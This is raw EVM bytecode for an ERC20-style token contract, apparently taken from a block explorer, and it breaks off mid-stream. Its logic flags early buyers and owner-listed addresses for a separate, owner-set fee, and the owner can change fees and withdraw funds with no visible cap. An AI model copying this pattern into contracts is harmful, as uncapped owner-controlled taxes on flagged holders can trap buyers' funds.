19601f820116820180604052508101906200027a9190620005f3565b600680546001600160a01b038086166001600160a01b03199283161790925560078054838516921691909117905530600090815260126020526040808220805460ff199081166001908117909255600d54851684528284208054821683179055600e549094168352912080549092161790559050806200032133620002fd601290565b6200030a90600a6200073a565b6200031a90633b9aca006200074b565b8362000380565b5050506200077b565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038316620003db5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8160026000828254620003ef919062000765565b90915550506001600160a01b038316600090815260208190526040812080548492906200041e90849062000765565b90915550506001600160a01b038181166000908152600160209081526040808320938716808452938252808320869055518581527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004ad57607f821691505b602082108103620004ce57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200052257600081815260208120601f850160051c81016020861015620004fd5750805b601f850160051c820191505b818110156200051e5782815560010162000509565b5050505b505050565b81516001600160401b0381111562000543576200054362000482565b6200055b8162000554845462000498565b84620004d4565b602080601f8311600181146200059357600084156200057a5750858301515b600019600386901b1c1916600185901b1785556200051e565b600085815260208120601f198616915b82811015620005c457888601518255948401946001909101908401620005a3565b5085821015620005e35787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200060657600080fd5b81516001600160a01b03811681146200061e57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200067c57816000190482111562000660576200066062000625565b808516156200066e57918102915b93841c939080029062000640565b509250929050565b600082620006955750600162000734565b81620006a45750600062000734565b8160018114620006bd5760028114620006c857620006e8565b600191505062000734565b60ff841115620006dc57620006dc62000625565b50506001821b62000734565b5060208310610133831016604e8410600b84101617156200070d575081810a62000734565b6200071983836200063b565b806000190482111562000730576200073062000625565b0290505b92915050565b60006200061e60ff84168362000684565b808202811582820484141762000734576200073462000625565b8082018082111562000734576200073462000625565b612068806200078b6000396000f3fe60806040526004361061026b5760003560e01c80638cd4426d11610144578063a9059cbb116100b6578063dd62ed3e1161007a578063dd62ed3e14610718578063e01af92c1461075e578063e16ebfc51461077e578063e4440a861461079e578063f2fde38b146107be578063f887ea40146107de57600080fd5b8063a9059cbb14610672578063aa4bde2814610692578063c18bc195146106a8578063d34628cc146106c8578063dbe66ca0146106e857600080fd5b80639d0014b1116101085780639d0014b1146105bc5780639e252f00146105dc578063a3ca847d146105fc578063a457c2d71461061c578063a64797c71461063c578063a8aa1b311461065257600080fd5b80638cd4426d146105155780638da5cb5b146105355780638ea5220f1461056757806395d89b411461058757806396c24e4b1461059c57600080fd5b8063313ce567116101dd5780636256d181116101a15780636256d1811461045e5780636ddd17131461047e57806370a082311461049f578063715018a6146104d55780638a8c523c146104ea5780638c0b5e22146104ff57600080fd5b8063313ce567146103cb57806339509351146103e757806340b28c2f146104075780634ada218b1461042757806350c9a88f1461044857600080fd5b80631816467f1161022f5780631816467f146103295780632253163d1461034957806323b872dd1461035f57806326b5d32f1461037f578063274a533c1461039f578063293b7ef4146103b557600080fd5b80630445b6671461027757806306fdde03146102a05780630940bbc7146102c2578063095ea7b3146102e457806318160ddd1461031457600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028d600a5481565b6040519081526020015b60405180910390f35b3480156102ac57600080fd5b506102b56107fe565b6040516102979190611bf3565b3480156102ce57600080fd5b506102e26102dd366004611c41565b610890565b005b3480156102f057600080fd5b506103046102ff366004611c7f565b6108c8565b6040519015158152602001610297565b34801561032057600080fd5b5060025461028d565b34801561033557600080fd5b506102e2610344366004611cab565b6108df565b34801561035557600080fd5b5061028d60105481565b34801561036b57600080fd5b5061030461037a366004611cc8565b61092b565b34801561038b57600080fd5b506102e261039a366004611d09565b6109dc565b3480156103ab57600080fd5b5061028d60085481565b3480156103c157600080fd5b5061028d600f5481565b3480156103d757600080fd5b5060405160128152602001610297565b3480156103f357600080fd5b50610304610402366004611c7f565b610a97565b34801561041357600080fd5b506102e2610422366004611d35565b610ace565b34801561043357600080fd5b5060075461030490600160b01b900460ff1681565b34801561045457600080fd5b5061028d60095481565b34801561046a57600080fd5b506102e2610479366004611c41565b610b26565b34801561048a57600080fd5b5060075461030490600160a81b900460ff1681565b3480156104ab57600080fd5b5061028d6104ba366004611cab565b6001600160a01b031660009081526020819052604090205490565b3480156104e157600080fd5b506102e2610b68565b3480156104f657600080fd5b506102e2610b9e565b34801561050b57600080fd5b5061028d600b5481565b34801561052157600080fd5b506102e2610530366004611c7f565b610c32565b34801561054157600080fd5b506005546001600160a01b03165b6040516001600160a01b039091168152602001610297565b34801561057357600080fd5b50600e5461054f906001600160a01b031681565b34801561059357600080fd5b506102b5610cf3565b3480156105a857600080fd5b506102e26105b7366004611cab565b610d02565b3480156105c857600080fd5b506102e26105d7366004611c41565b610d4e565b3480156105e857600080fd5b506102e26105f7366004611c41565b610d7d565b34801561060857600080fd5b506102e2610617366004611c41565b610dcf565b34801561062857600080fd5b50610304610637366004611c7f565b610dfe565b34801561064857600080fd5b5061028d60115481565b34801561065e57600080fd5b5060075461054f906001600160a01b031681565b34801561067e57600080fd5b5061030461068d366004611c7f565b610e99565b34801561069e57600080fd5b5061028d600c5481565b3480156106b457600080fd5b506102e26106c3366004611c41565b610ea6565b3480156106d457600080fd5b506102e26106e3366004611d84565b610ee8565b3480156106f457600080fd5b50610304610703366004611cab565b60126020526000908152604090205460ff1681565b34801561072457600080fd5b5061028d610733366004611d35565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561076a57600080fd5b506102e2610779366004611e57565b610f7e565b34801561078a57600080fd5b506102e2610799366004611d84565b610fc6565b3480156107aa57600080fd5b50600d5461054f906001600160a01b031681565b3480156107ca57600080fd5b506102e26107d9366004611cab565b611058565b3480156107ea57600080fd5b5060065461054f906001600160a01b031681565b60606003805461080d90611e74565b80601f016020809104026020016040519081016040528092919081815260200182805461083990611e74565b80156108865780601f1061085b57610100808354040283529160200191610886565b820191906000526020600020905b81548152906001019060200180831161086957829003601f168201915b5050505050905090565b6005546001600160a01b031633146108c35760405162461bcd60e51b81526004016108ba90611eae565b60405180910390fd5b601055565b60006108d53384846110f0565b5060015b92915050565b6005546001600160a01b031633146109095760405162461bcd60e51b81526004016108ba90611eae565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610938848484611214565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156109bd5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016108ba565b6109d185336109cc8685611ef9565b6110f0565b506001949350505050565b6005546001600160a01b03163314610a065760405162461bcd60e51b81526004016108ba90611eae565b47610a1084611652565b6000610a1c8247611ef9565b90508215610a5757610a57610a318486611f0c565b610a3b8584611f1f565b610a459190611f36565b600d546001600160a01b0316906117ac565b8315610a9057610a90610a6a8486611f0c565b610a748684611f1f565b610a7e9190611f36565b600e546001600160a01b0316906117ac565b5050505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108d59185906109cc908690611f0c565b6005546001600160a01b03163314610af85760405162461bcd60e51b81526004016108ba90611eae565b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b6005546001600160a01b03163314610b505760405162461bcd60e51b81526004016108ba90611eae565b610b6281670de0b6b3a7640000611f1f565b600b5550565b6005546001600160a01b03163314610b925760405162461bcd60e51b81526004016108ba90611eae565b610b9c60006118c5565b565b6005546001600160a01b03163314610bc85760405162461bcd60e51b81526004016108ba90611eae565b600754600160b01b900460ff1615610c1b5760405162461bcd60e51b815260206004820152601660248201527554726164696e6720616c72656164792061637469766560501b60448201526064016108ba565b6007805461ffff60a81b191661010160a81b179055565b6005546001600160a01b03163314610c5c5760405162461bcd60e51b81526004016108ba90611eae565b816001600160a01b031663a9059cbb610c7d6005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af1158015610cca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cee9190611f58565b505050565b60606004805461080d90611e74565b6005546001600160a01b03163314610d2c5760405162461bcd60e51b81526004016108ba90611eae565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610d785760405162461bcd60e51b81526004016108ba90611eae565b600a55565b6005546001600160a01b03163314610da75760405162461bcd60e51b81526004016108ba90611eae565b610dcc81610dbd6005546001600160a01b031690565b6001600160a01b0316906117ac565b50565b6005546001600160a01b03163314610df95760405162461bcd60e51b81526004016108ba90611eae565b600f55565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610e805760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016108ba565b610e8f33856109cc8685611ef9565b5060019392505050565b60006108d5338484611214565b6005546001600160a01b03163314610ed05760405162461bcd60e51b81526004016108ba90611eae565b610ee281670de0b6b3a7640000611f1f565b600c5550565b6005546001600160a01b03163314610f125760405162461bcd60e51b81526004016108ba90611eae565b60005b8151811015610f7a57600160136000848481518110610f3657610f36611f75565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610f7281611f8b565b915050610f15565b5050565b6005546001600160a01b03163314610fa85760405162461bcd60e51b81526004016108ba90611eae565b60078054911515600160a81b0260ff60a81b19909216919091179055565b6005546001600160a01b03163314610ff05760405162461bcd60e51b81526004016108ba90611eae565b60005b8151811015610f7a5760016012600084848151811061101457611014611f75565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061105081611f8b565b915050610ff3565b6005546001600160a01b031633146110825760405162461bcd60e51b81526004016108ba90611eae565b6001600160a01b0381166110e75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108ba565b610dcc816118c5565b6001600160a01b0383166111525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108ba565b6001600160a01b0382166111b35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108ba565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116112765760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108ba565b6001600160a01b03831660009081526013602052604090205460ff16806112b557506001600160a01b03821660009081526013602052604090205460ff165b156112c1576011546010555b6001600160a01b03831660009081526012602052604090205460ff1615801561130357506001600160a01b03821660009081526012602052604090205460ff16155b80156113195750600754600160a01b900460ff16155b156114e557600754600160b01b900460ff166113705760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81b9bdd081858dd1a5d99481e595d60521b60448201526064016108ba565b436009546008546113819190611f0c565b11156113f9576007546001600160a01b038381169116146113c0576001600160a01b0382166000908152601360205260409020805460ff191660011790555b6007546001600160a01b038481169116146113f9576001600160a01b0383166000908152601360205260409020805460ff191660011790555b600b5481111561144b5760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61785478416d6f756e7400000060448201526064016108ba565b6007546001600160a01b038381169116146114e557600c5481611483846001600160a01b031660009081526020819052604090205490565b61148d9190611f0c565b11156114e55760405162461bcd60e51b815260206004820152602160248201527f596f752061726520657863656564696e67206d617857616c6c6574416d6f756e6044820152601d60fa1b60648201526084016108ba565b600754600090600160a01b900460ff168061151857506001600160a01b03841660009081526012602052604090205460ff165b8061153b57506001600160a01b03831660009081526012602052604090205460ff165b15611548575060006115c1565b6007546001600160a01b03848116911614801561157e57506001600160a01b03841660009081526013602052604090205460ff16155b156115a4576064601054836115939190611f1f565b61159d9190611f36565b90506115c1565b6064600f54836115b49190611f1f565b6115be9190611f36565b90505b600754600160a81b900460ff1680156115e45750600754600160a01b900460ff16155b80156115fe57506007546001600160a01b03858116911614155b801561160a5750600081115b1561161757611617611917565b801561164157611628843083611998565b61163c84846116378585611b70565b611998565b61164c565b61164c848484611998565b50505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061168757611687611f75565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117049190611fa4565b8160018151811061171757611717611f75565b6001600160a01b03928316602091820292909201015260065461173d91309116846110f0565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611776908590600090869030904290600401611fc1565b600060405180830381600087803b15801561179057600080fd5b505af11580156117a4573d6000803e3d6000fd5b505050505050565b804710156117fc5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016108ba565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611849576040519150601f19603f3d011682016040523d82523d6000602084013e61184e565b606091505b5050905080610cee5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016108ba565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600754600160a01b900460ff16610b9c576007805460ff60a01b1916600160a01b179055306000908152602081905260408120549050600a548110611988574761196082611652565b600061196c8247611ef9565b600d54909150611985906001600160a01b0316826117ac565b50505b506007805460ff60a01b19169055565b6001600160a01b0383166119fc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108ba565b6001600160a01b038216611a5e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108ba565b6001600160a01b03831660009081526020819052604090205481811015611ad65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016108ba565b611ae08282611ef9565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290611b16908490611f0c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b6291815260200190565b60405180910390a350505050565b6000611bb283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bb9565b9392505050565b60008184841115611bdd5760405162461bcd60e51b81526004016108ba9190611bf3565b506000611bea8585611ef9565b95945050505050565b600060208083528351808285015260005b81811015611c2057858101830151858201604001528201611c04565b506000604082860101526040601f19601f8301168501019250505092915050565b600060208284031215611c5357600080fd5b5035919050565b6001600160a01b0381168114610dcc57600080fd5b8035611c7a81611c5a565b919050565b60008060408385031215611c9257600080fd5b8235611c9d81611c5a565b946020939093013593505050565b600060208284031215611cbd57600080fd5b8135611bb281611c5a565b600080600060608486031215611cdd57600080fd5b8335611ce881611c5a565b92506020840135611cf881611c5a565b929592945050506040919091013590565b600080600060608486031215611d1e57600080fd5b505081359360208301359350604090920135919050565b60008060408385031215611d4857600080fd5b8235611d5381611c5a565b91506020830135611d6381611c5a565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d9757600080fd5b823567ffffffffffffffff80821115611daf57600080fd5b818501915085601f830112611dc357600080fd5b813581811115611dd557611dd5611d6e565b8060051b604051601f19603f83011681018181108582111715611dfa57611dfa611d6e565b604052918252848201925083810185019188831115611e1857600080fd5b938501935b82851015611e3d57611e2e85611c6f565b84529385019392850192611e1d565b98975050505050505050565b8015158114610dcc57600080fd5b600060208284031215611e6957600080fd5b8135611bb281611e49565b600181811c90821680611e8857607f821691505b602082108103611ea857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156108d9576108d9611ee3565b808201808211156108d9576108d9611ee3565b80820281158282048414176108d9576108d9611ee3565b600082611f5357634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611f6a57600080fd5b8151611bb281611e49565b634e487b7160e01b600052603260045260246000fd5b600060018201611f9d57611f9d611ee3565b5060010190565b600060208284031215611fb657600080fd5b8151611bb281611c5a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120115784516001600160a01b031683529383019391830191600101611fec565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220ad3b3800ef117da7fc40873795bbed4fdf093e492c6b25e9f24c95ff790d6dbb64736f6c63430008130033

Deployed Bytecode

0x60806040526004361061026b5760003560e01c80638cd4426d11610144578063a9059cbb116100b6578063dd62ed3e1161007a578063dd62ed3e14610718578063e01af92c1461075e578063e16ebfc51461077e578063e4440a861461079e578063f2fde38b146107be578063f887ea40146107de57600080fd5b8063a9059cbb14610672578063aa4bde2814610692578063c18bc195146106a8578063d34628cc146106c8578063dbe66ca0146106e857600080fd5b80639d0014b1116101085780639d0014b1146105bc5780639e252f00146105dc578063a3ca847d146105fc578063a457c2d71461061c578063a64797c71461063c578063a8aa1b311461065257600080fd5b80638cd4426d146105155780638da5cb5b146105355780638ea5220f1461056757806395d89b411461058757806396c24e4b1461059c57600080fd5b8063313ce567116101dd5780636256d181116101a15780636256d1811461045e5780636ddd17131461047e57806370a082311461049f578063715018a6146104d55780638a8c523c146104ea5780638c0b5e22146104ff57600080fd5b8063313ce567146103cb57806339509351146103e757806340b28c2f146104075780634ada218b1461042757806350c9a88f1461044857600080fd5b80631816467f1161022f5780631816467f146103295780632253163d1461034957806323b872dd1461035f57806326b5d32f1461037f578063274a533c1461039f578063293b7ef4146103b557600080fd5b80630445b6671461027757806306fdde03146102a05780630940bbc7146102c2578063095ea7b3146102e457806318160ddd1461031457600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028d600a5481565b6040519081526020015b60405180910390f35b3480156102ac57600080fd5b506102b56107fe565b6040516102979190611bf3565b3480156102ce57600080fd5b506102e26102dd366004611c41565b610890565b005b3480156102f057600080fd5b506103046102ff366004611c7f565b6108c8565b6040519015158152602001610297565b34801561032057600080fd5b5060025461028d565b34801561033557600080fd5b506102e2610344366004611cab565b6108df565b34801561035557600080fd5b5061028d60105481565b34801561036b57600080fd5b5061030461037a366004611cc8565b61092b565b34801561038b57600080fd5b506102e261039a366004611d09565b6109dc565b3480156103ab57600080fd5b5061028d60085481565b3480156103c157600080fd5b5061028d600f5481565b3480156103d757600080fd5b5060405160128152602001610297565b3480156103f357600080fd5b50610304610402366004611c7f565b610a97565b34801561041357600080fd5b506102e2610422366004611d35565b610ace565b34801561043357600080fd5b5060075461030490600160b01b900460ff1681565b34801561045457600080fd5b5061028d60095481565b34801561046a57600080fd5b506102e2610479366004611c41565b610b26565b34801561048a57600080fd5b5060075461030490600160a81b900460ff1681565b3480156104ab57600080fd5b5061028d6104ba366004611cab565b6001600160a01b031660009081526020819052604090205490565b3480156104e157600080fd5b506102e2610b68565b3480156104f657600080fd5b506102e2610b9e565b34801561050b57600080fd5b5061028d600b5481565b34801561052157600080fd5b506102e2610530366004611c7f565b610c32565b34801561054157600080fd5b506005546001600160a01b03165b6040516001600160a01b039091168152602001610297565b34801561057357600080fd5b50600e5461054f906001600160a01b031681565b34801561059357600080fd5b506102b5610cf3565b3480156105a857600080fd5b506102e26105b7366004611cab565b610d02565b3480156105c857600080fd5b506102e26105d7366004611c41565b610d4e565b3480156105e857600080fd5b506102e26105f7366004611c41565b610d7d565b34801561060857600080fd5b506102e2610617366004611c41565b610dcf565b34801561062857600080fd5b50610304610637366004611c7f565b610dfe565b34801561064857600080fd5b5061028d60115481565b34801561065e57600080fd5b5060075461054f906001600160a01b031681565b34801561067e57600080fd5b5061030461068d366004611c7f565b610e99565b34801561069e57600080fd5b5061028d600c5481565b3480156106b457600080fd5b506102e26106c3366004611c41565b610ea6565b3480156106d457600080fd5b506102e26106e3366004611d84565b610ee8565b3480156106f457600080fd5b50610304610703366004611cab565b60126020526000908152604090205460ff1681565b34801561072457600080fd5b5061028d610733366004611d35565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561076a57600080fd5b506102e2610779366004611e57565b610f7e565b34801561078a57600080fd5b506102e2610799366004611d84565b610fc6565b3480156107aa57600080fd5b50600d5461054f906001600160a01b031681565b3480156107ca57600080fd5b506102e26107d9366004611cab565b611058565b3480156107ea57600080fd5b5060065461054f906001600160a01b031681565b60606003805461080d90611e74565b80601f016020809104026020016040519081016040528092919081815260200182805461083990611e74565b80156108865780601f1061085b57610100808354040283529160200191610886565b820191906000526020600020905b81548152906001019060200180831161086957829003601f168201915b5050505050905090565b6005546001600160a01b031633146108c35760405162461bcd60e51b81526004016108ba90611eae565b60405180910390fd5b601055565b60006108d53384846110f0565b5060015b92915050565b6005546001600160a01b031633146109095760405162461bcd60e51b81526004016108ba90611eae565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610938848484611214565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156109bd5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016108ba565b6109d185336109cc8685611ef9565b6110f0565b506001949350505050565b6005546001600160a01b03163314610a065760405162461bcd60e51b81526004016108ba90611eae565b47610a1084611652565b6000610a1c8247611ef9565b90508215610a5757610a57610a318486611f0c565b610a3b8584611f1f565b610a459190611f36565b600d546001600160a01b0316906117ac565b8315610a9057610a90610a6a8486611f0c565b610a748684611f1f565b610a7e9190611f36565b600e546001600160a01b0316906117ac565b5050505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108d59185906109cc908690611f0c565b6005546001600160a01b03163314610af85760405162461bcd60e51b81526004016108ba90611eae565b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b6005546001600160a01b03163314610b505760405162461bcd60e51b81526004016108ba90611eae565b610b6281670de0b6b3a7640000611f1f565b600b5550565b6005546001600160a01b03163314610b925760405162461bcd60e51b81526004016108ba90611eae565b610b9c60006118c5565b565b6005546001600160a01b03163314610bc85760405162461bcd60e51b81526004016108ba90611eae565b600754600160b01b900460ff1615610c1b5760405162461bcd60e51b815260206004820152601660248201527554726164696e6720616c72656164792061637469766560501b60448201526064016108ba565b6007805461ffff60a81b191661010160a81b179055565b6005546001600160a01b03163314610c5c5760405162461bcd60e51b81526004016108ba90611eae565b816001600160a01b031663a9059cbb610c7d6005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af1158015610cca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cee9190611f58565b505050565b60606004805461080d90611e74565b6005546001600160a01b03163314610d2c5760405162461bcd60e51b81526004016108ba90611eae565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610d785760405162461bcd60e51b81526004016108ba90611eae565b600a55565b6005546001600160a01b03163314610da75760405162461bcd60e51b81526004016108ba90611eae565b610dcc81610dbd6005546001600160a01b031690565b6001600160a01b0316906117ac565b50565b6005546001600160a01b03163314610df95760405162461bcd60e51b81526004016108ba90611eae565b600f55565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610e805760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016108ba565b610e8f33856109cc8685611ef9565b5060019392505050565b60006108d5338484611214565b6005546001600160a01b03163314610ed05760405162461bcd60e51b81526004016108ba90611eae565b610ee281670de0b6b3a7640000611f1f565b600c5550565b6005546001600160a01b03163314610f125760405162461bcd60e51b81526004016108ba90611eae565b60005b8151811015610f7a57600160136000848481518110610f3657610f36611f75565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610f7281611f8b565b915050610f15565b5050565b6005546001600160a01b03163314610fa85760405162461bcd60e51b81526004016108ba90611eae565b60078054911515600160a81b0260ff60a81b19909216919091179055565b6005546001600160a01b03163314610ff05760405162461bcd60e51b81526004016108ba90611eae565b60005b8151811015610f7a5760016012600084848151811061101457611014611f75565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061105081611f8b565b915050610ff3565b6005546001600160a01b031633146110825760405162461bcd60e51b81526004016108ba90611eae565b6001600160a01b0381166110e75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108ba565b610dcc816118c5565b6001600160a01b0383166111525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108ba565b6001600160a01b0382166111b35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108ba565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116112765760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108ba565b6001600160a01b03831660009081526013602052604090205460ff16806112b557506001600160a01b03821660009081526013602052604090205460ff165b156112c1576011546010555b6001600160a01b03831660009081526012602052604090205460ff1615801561130357506001600160a01b03821660009081526012602052604090205460ff16155b80156113195750600754600160a01b900460ff16155b156114e557600754600160b01b900460ff166113705760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81b9bdd081858dd1a5d99481e595d60521b60448201526064016108ba565b436009546008546113819190611f0c565b11156113f9576007546001600160a01b038381169116146113c0576001600160a01b0382166000908152601360205260409020805460ff191660011790555b6007546001600160a01b038481169116146113f9576001600160a01b0383166000908152601360205260409020805460ff191660011790555b600b5481111561144b5760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61785478416d6f756e7400000060448201526064016108ba565b6007546001600160a01b038381169116146114e557600c5481611483846001600160a01b031660009081526020819052604090205490565b61148d9190611f0c565b11156114e55760405162461bcd60e51b815260206004820152602160248201527f596f752061726520657863656564696e67206d617857616c6c6574416d6f756e6044820152601d60fa1b60648201526084016108ba565b600754600090600160a01b900460ff168061151857506001600160a01b03841660009081526012602052604090205460ff165b8061153b57506001600160a01b03831660009081526012602052604090205460ff165b15611548575060006115c1565b6007546001600160a01b03848116911614801561157e57506001600160a01b03841660009081526013602052604090205460ff16155b156115a4576064601054836115939190611f1f565b61159d9190611f36565b90506115c1565b6064600f54836115b49190611f1f565b6115be9190611f36565b90505b600754600160a81b900460ff1680156115e45750600754600160a01b900460ff16155b80156115fe57506007546001600160a01b03858116911614155b801561160a5750600081115b1561161757611617611917565b801561164157611628843083611998565b61163c84846116378585611b70565b611998565b61164c565b61164c848484611998565b50505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061168757611687611f75565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117049190611fa4565b8160018151811061171757611717611f75565b6001600160a01b03928316602091820292909201015260065461173d91309116846110f0565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611776908590600090869030904290600401611fc1565b600060405180830381600087803b15801561179057600080fd5b505af11580156117a4573d6000803e3d6000fd5b505050505050565b804710156117fc5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016108ba565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611849576040519150601f19603f3d011682016040523d82523d6000602084013e61184e565b606091505b5050905080610cee5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016108ba565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600754600160a01b900460ff16610b9c576007805460ff60a01b1916600160a01b179055306000908152602081905260408120549050600a548110611988574761196082611652565b600061196c8247611ef9565b600d54909150611985906001600160a01b0316826117ac565b50505b506007805460ff60a01b19169055565b6001600160a01b0383166119fc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108ba565b6001600160a01b038216611a5e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108ba565b6001600160a01b03831660009081526020819052604090205481811015611ad65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016108ba565b611ae08282611ef9565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290611b16908490611f0c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b6291815260200190565b60405180910390a350505050565b6000611bb283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bb9565b9392505050565b60008184841115611bdd5760405162461bcd60e51b81526004016108ba9190611bf3565b506000611bea